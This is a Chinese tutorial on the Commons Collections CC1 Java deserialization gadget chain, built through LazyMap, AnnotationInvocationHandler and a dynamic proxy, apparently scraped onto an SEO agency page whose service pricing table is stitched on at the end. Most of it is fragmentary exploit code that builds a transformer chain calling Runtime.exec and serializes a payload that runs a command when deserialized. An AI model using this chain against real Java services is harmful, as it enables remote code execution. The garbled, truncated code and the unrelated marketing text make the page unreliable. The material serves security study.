96SEO 2026-02-19 18:17 7
链分析CC链1核心LazyMap类AnnotationInvocationHandler类

在看这篇文章前可以看下我的上一篇文章了解下cc链1的核心与环境配置
前面我们已经讲过了CC链1的核心ChainedTransformer的transform链并且用到了TransformedMap类中的方法触发了这条链transform的方法但是还有一条链可以触发其transform方法这条链用到了
这条链用到了大量的反射与代理的知识建议在看本文章前需要提前补充或复习
org.apache.commons.collections.Transformer;
org.apache.commons.collections.functors.ChainedTransformer;
org.apache.commons.collections.functors.ConstantTransformer;
org.apache.commons.collections.functors.InvokerTransformer;
一个transformer链包含各类transformer对象预设转化逻辑的转化数组Transformer[]
ConstantTransformer(Runtime.class),new
Object[]{calc})};//transformedChain:
ChainedTransformer类对象传入transformers数组可以按照transformers数组的逻辑执行转化操作ChainedTransformer
ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
map.get(key);}经分析得当满足map.containsKey(key)
false时便会执行factory对象的transform方法
IllegalArgumentException(Factory
对象(cc链1核心),但是该构造方法是受保护的类型并不能直接调用创建对象
我们先写一个demo试试这里的get方法是否真的可以触发cc链1
org.apache.commons.collections.Transformer;
org.apache.commons.collections.functors.ChainedTransformer;
org.apache.commons.collections.functors.ConstantTransformer;
org.apache.commons.collections.functors.InvokerTransformer;
org.apache.commons.collections.map.LazyMap;
一个transformer链包含各类transformer对象预设转化逻辑的转化数组Transformer[]
ConstantTransformer(Runtime.class),new
Object[]{calc})};ChainedTransformer
ChainedTransformer(transformers);HashMapObject,Object
chainedTransformer);decorate.get(key);}
对象的get方法我们同样右键查看用法可以看到结果有很多为了节约时间我们直接来到AnnotationInvocationHandler类
TransformedMap类所触发的cc链1中用到过这里我们用到其
memberValues.get(member);经分析我们需要满足前两条
memberValues变量我们查看构造方法发现该方法是私有的我们无法调用
AnnotationInvocationHandler(Class?
java.lang.annotation.Annotation.class)throw
memberValues;}然后我们看一下invoke方法所属类的定义如下
InvocationHandler代表该类可以作为动态代理的代理处理器只要接口了InvocationHandler接口就必须重写
代理对象通过反射让其代理处理器为AnnotationInvocationHandler类然后无参调用代理对象的任意方法即可触发invoke方法
在Java的动态代理机制中在执行代理对象中的方法之前会自动执行其代理处理器中的invoke方法
方法的问题便解决了接下来我们只需创建一个使用AnnotationInvocationHandler类作为处理器的代理对象并无参调用该代理对象中的方法即可创建代理对象代码如下
Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
instance);接下来便是要解决——如何无参调用proxyInstance代理对象中的方法
这里实际上只要是找到无参调用对象中方法的地方即可不限制在哪个类但终点要为readObject方法
然后我们就近在这个类中寻找一个无参调用memberValues中方法的方法我们往下找到了readObject方法其所用到的关键代码还是和TransformedMap类所触发的cc链1中一样为下面的for循环
(!(memberType.isInstance(value)
AnnotationTypeMismatchExceptionProxy(value.getClass()
]).setMember(annotationType.members().get(name)));}}}我们发现for循环中的该语句可实现对memberValues变量中的方法实现无参调用
memberValues.entrySet())但是我们发现AnnotationInvocationHandler类是私有的我们可以通过反射获取构造方法进而初始化然后构造函数的memberValue变量值设置为我们的代理对象即可
我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyInstance然后又通过反射创建了一个AnnotationInvocationHandler对象并将成员属性设置为代理对象proxyInstance目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象proxyInstancememberValues变量实现无参调用从而触发代理处理器AnnotationInvocationHandler类中的invoke方法进而触发get方法最后触发transform方法从而实现cc链1
org.apache.commons.collections.Transformer;
org.apache.commons.collections.functors.ChainedTransformer;
org.apache.commons.collections.functors.ConstantTransformer;
org.apache.commons.collections.functors.InvokerTransformer;
org.apache.commons.collections.map.LazyMap;
java.lang.reflect.InvocationHandler;
java.lang.reflect.InvocationTargetException;
{//定义一系列Transformer对象,组成一个变换链Transformer[]
Transformer[]{//返回Runtime.classnew
ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new
Object[]{getRuntime,null}),//通过反射调用invoke()方法new
null}),//通过反射调用exec()方法启动计算器new
Object[]{calc})};//将多个Transformer对象组合成一个链ChainedTransformer
ChainedTransformer(transformers);HashMapObject,Object
HashMap();//使用chainedTransformer装饰HashMap生成新的MapMap
chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class
Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor
c.getDeclaredConstructor(Class.class,
Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射创建
constructor.newInstance(Override.class,
decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap
Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
constructor.newInstance(Override.class,
proxyInstance);serialize(o);unserialize(1.bin);}public
ObjectOutputStream(Files.newOutputStream(Paths.get(1.bin)));out.writeObject(obj);}public
ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}运行成功弹出计算器
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback